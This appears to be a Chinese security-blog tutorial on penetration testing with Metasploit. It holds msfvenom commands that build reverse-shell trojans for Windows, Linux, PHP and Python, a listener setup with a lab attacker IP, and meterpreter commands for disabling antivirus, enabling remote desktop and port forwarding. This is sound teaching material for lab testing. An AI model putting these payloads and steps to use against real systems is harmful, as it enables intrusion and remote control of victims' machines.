freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

利用Metasploit进行渗透测试
2020-12-07 21:27:01

metasploit框架介绍

MSFThe Metasploit Framework的简称。MSF高度模块化,即框架由多个 module组成,是全球最受欢迎的工具。 进一步解释是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞 和流行的shellcode,并持续保持更新。

metasploit目录结构及用途

Linux下metasploit目录路径:/opt/metasploit-framework/embedded/framework//usr/share/metasploit-framework/(kali自带,目录同上)

目录文件作用:metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗 透测试。 data包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。 documentation包含框架的可用文档。 lib metasploit的库文件夹。 plugins用来存放metasploit的插件。 scripts用来存放metasploit的脚本,包括meterpreter及其它脚本。 tools存放多种的命令行实用程序。 modules存储metasploit的模块文件。

modules目录

modules——模块目录是metasploit 很重要的目录,下面对里面的一些常用模块进行解释:

auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等) exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类 payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shel的代码 post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等 encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统 evasion:躲避模块,用来生成免杀payload nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90>0...)则会因为被拦截而导致攻击失效。

metasploit的使用

msfdb init:初始化数据库 msfconsole:启动

metasploit的信息收集

db_ nmap: nmap扫描 -PA: TCP ACK PING扫描 -PS: TCP SYN PING扫描 -PR: ARP扫描是nmap对目标进行一个arp ping扫 描的过程,尤其在内网的情况下。因为防火墙不会 禁止ARP请求。 hosts:当前工作区所有主机

db_nmap扫描和nmap扫描基本相同,最明显的不同点是db_nmap扫描会把扫描出来的端口等信息结果保存到数据库里面。

端口、服务、版本的探测

db_ nmap: nmap扫描 -T[0-5]: 默认为T3,T4表示最大TCP扫描延迟为 10ms -sS: TCP SYN扫描 -sA: TCP ACK扫描 -sT: TCP扫描 -A:打开操作系统探测和版本探测。 他也有nmap上的--script命令,去指定脚本,来检查指定的脚本是否有脆弱性漏洞 --script=vuln:检查是否具有常见漏洞~

Nmap端口信息收集

root@kali:~# nmap -sV -T4 192.168.123.131

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 10:46 CST

Not shown: 992 filtered ports

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later

80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysq! MySQL (unauthorized)

3389/tcp open ssl/ms-wbt-server? 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

MAC Address: 00:0C:29:0D:E5:D0 (VMware)

Service Info: Host: LISIANTHUS-PC; OS: Windows; CPE:

cpe:/o:microsoft:windows

msfvenom基本参数

--payload, 指定特定的Payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台。

--list,,列出所有可用的项目,其中值可以被设置为payloads, encoders, nops, all

-n: --nopsled, 指定nop在payload中的数量

-f: --format, 指定Payload的输出格式(--list formats:列出所有可用的输出格式)

-e: --encoder, 指定使用的encoder

-a: --arch, 指定目标系统架构

--platform: 指定目标系统平台

-S: --space, 设置未经编码的Payload的最大长度(--encoder-space: 编码后的Payload的最大长度)

-b: --bad -chars,设置需要在Payload中避免出现的字符,例如: ' \0f’、' \x00'等

-i: --iterations, 设置Payload的编码次数 -- smallest:尽可能生成最短的Payload

-0: --out, 保存Payload到文件

-C: --add-code, 指定一个附加的win32 shellcode文件

-x: --template, 指定一个特定的可执行文件作为模板

-k: --keep, 保护模板程序的功能,注入的payload作为一个新的进程运行

msfvenom生成payload

msfvenom可以用来生成Linux的ELF文件、Windows的PE文件(.exe)、web可执行文件php和Python可执行文件.py。

linux:

msfvenom -p linux/x86/meterpreter/reverse_ tcp LHOST= LPORT= -f elf > shell.elf msfvenom -p linux/x86/meterpreter/bind_ tcp LHOST=< Target IP Address> LPORT= -f elf > shell.elf

windows:

msfvenom -p windows/meterpreter/reverse_ tcp LHOST= LPORT= -f exe > shell.exe

php:

msfvenom -p php/meterpreter/reverse_ tcp LHOST= LPORT= -f raw > shell.php

python:

msfvenom -p python/meterpreter/reverse tcp LHOST= < Your IP Address> LPORT= -f raw > shell.py

payload较长,这里拿Windows的来解释一下其中各元素代表的意思: msfvenom -p windows/meterpreter/reverse_ tcp LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f exe > shell.exemsfvenom是他的shell命令 -p指定payload windows/meterpreter/reverse_ tcp指定payload为windows/meterpreter/reverse_ tcp的反向监听端口,接受反弹shell LHOST=<Your IP Address>LPORT= <Your Port to Connect On>在上面的路径中指定两个参数localhost和localport指定攻击机的地址和攻击机上开启的远程监听端口 -f exe > shell.exe:-f意为-file,指定输出的格式为exe,用重定位符>,定位到一个指定的文件(shell.exe)这里的shell.exe是我们自设定的木马。 而上面的PHP和Python的payload中的-f后都加的raw,raw是未经处理的文件,大家如果拍过照可能会遇到过raw,最后通过重定位符,重定向为shell.php/shell.py。

执行msfvenom命令,-p指定为Windows(本次拿Windows做个测试)lhost填写攻击机的IP,ifconfig查看,lport设置为此开设的端口,最后指定文件类型并重定向为shell.exe。 msfvenom -p windows/meterpreter/reverse_ tcp lhost=10.2.113.13 lport= 7777 -f exe > shell.exe

生成控制程序生成控制程序查看网卡信息查看网卡信息检查是否存在检查是否存在

执行msfconsole命令,进入它的shell:

msfconsole启动页

在这里使用EXR(exploit)攻击模块的handler,开启握手监听 并查看配置信息show options可以看到,里面有模块信息module options,我们可以对此进行设置payload的模块载荷。

msfconsole配置项

由于上面我们生成的木马指定的是Windows的tcp,所以这里设置payload载荷与上面一致set payload windows/meterpreter/reverse_tcp,并再次查看配置项,查看模块组区域的变化,已经加载该模块。

看上图,这时候msfconsole配置项中的lhost还是空的,lport是4444(默认值),将他们设置成攻击机的IP以及刚才生成payload时设置的端口(7777)。 最后使用exploit进行攻击或者使用run将其跑起来,此处先跑run,开启本机IP的7777端口的监听。

runrun

将生成的shell.exe文件传给Windows靶机,如果靶机上装的有杀毒软件,会检测到有后门文件(win10安全中心说是特洛伊木马)直接删掉文件,由于我们是在测试,so 关掉杀毒软件重复此操作 继续。

1607398647_5fcef4f7a4a3cf92d9e65.png!small?1607398647395侦听成功

侦听端侦听到一个IP为10.2.99.185的,上面截图是一组信息,之后还会一直有信息刷新,证明该连接保持存活着。最后获得meterpreter >

Metasploit是个啥

Metasploit的exploit/multi/handler模块是一个有效负载处理程序, 它只处理在受损主机中执时有效负载连接。 Meterpreter是metasploit的后渗透利用工具。基于内存l注入实现,能够通过创建一个新进程并调用 注入的来让目标系统运行注入的dll文件。在该模式下,攻击者与目标设备中Meterpreter的通信是通 过stager套接字实现的。

Meterpreter-Get shell

获得meterpreter之后可以进行后渗透的测试。 也可以执行shell拿到靶机的shell,测试

1607398708_5fcef534a7e41648a69b6.png!small?1607398709262

以上我执行了whoami和可以辨别是Linux系统还是Windows系统的ipconfig(Linux是ifconfig)

meterpreter常用命令

meterpreter > background放回后台
meterpreter > exit关闭会话
meterpreter > help帮助信息
meterpreter > sysinfo系统平台信息
meterpreter > screenshot屏幕截取
meterpreter > shell命令行shell (exit退出
meterpreter > getlwd查看本地目录
meterpreter > lcd切换本地目录
meterpreter > getwd查看目录
meterpreter > Is查看文件目录列表
meterpreter > cd切换目录
meterpreter > rm 删除文件
meterpreter > download C\1.txt 1.txt下载文件
meterpreter > upload /var/www/wce.exe wce.exe文件攻击程序
meterpreter >search -dc: -f* .doc搜索文件
meterpreter >execute -f cmd.exe -i 执行程序 交互式运行cmd
meterpreter > ps查看进程
meterpreter > getuid查看当前用户权限
meterpreter >run kllav关闭杀毒软件
meterpreter >run getgui -e启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标ip>端口转发

首发,在贵社区的第二篇文章,谢谢大家支持~


# Metasploit # 木马 # MSF渗透 # Windows提权 # Getshell
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者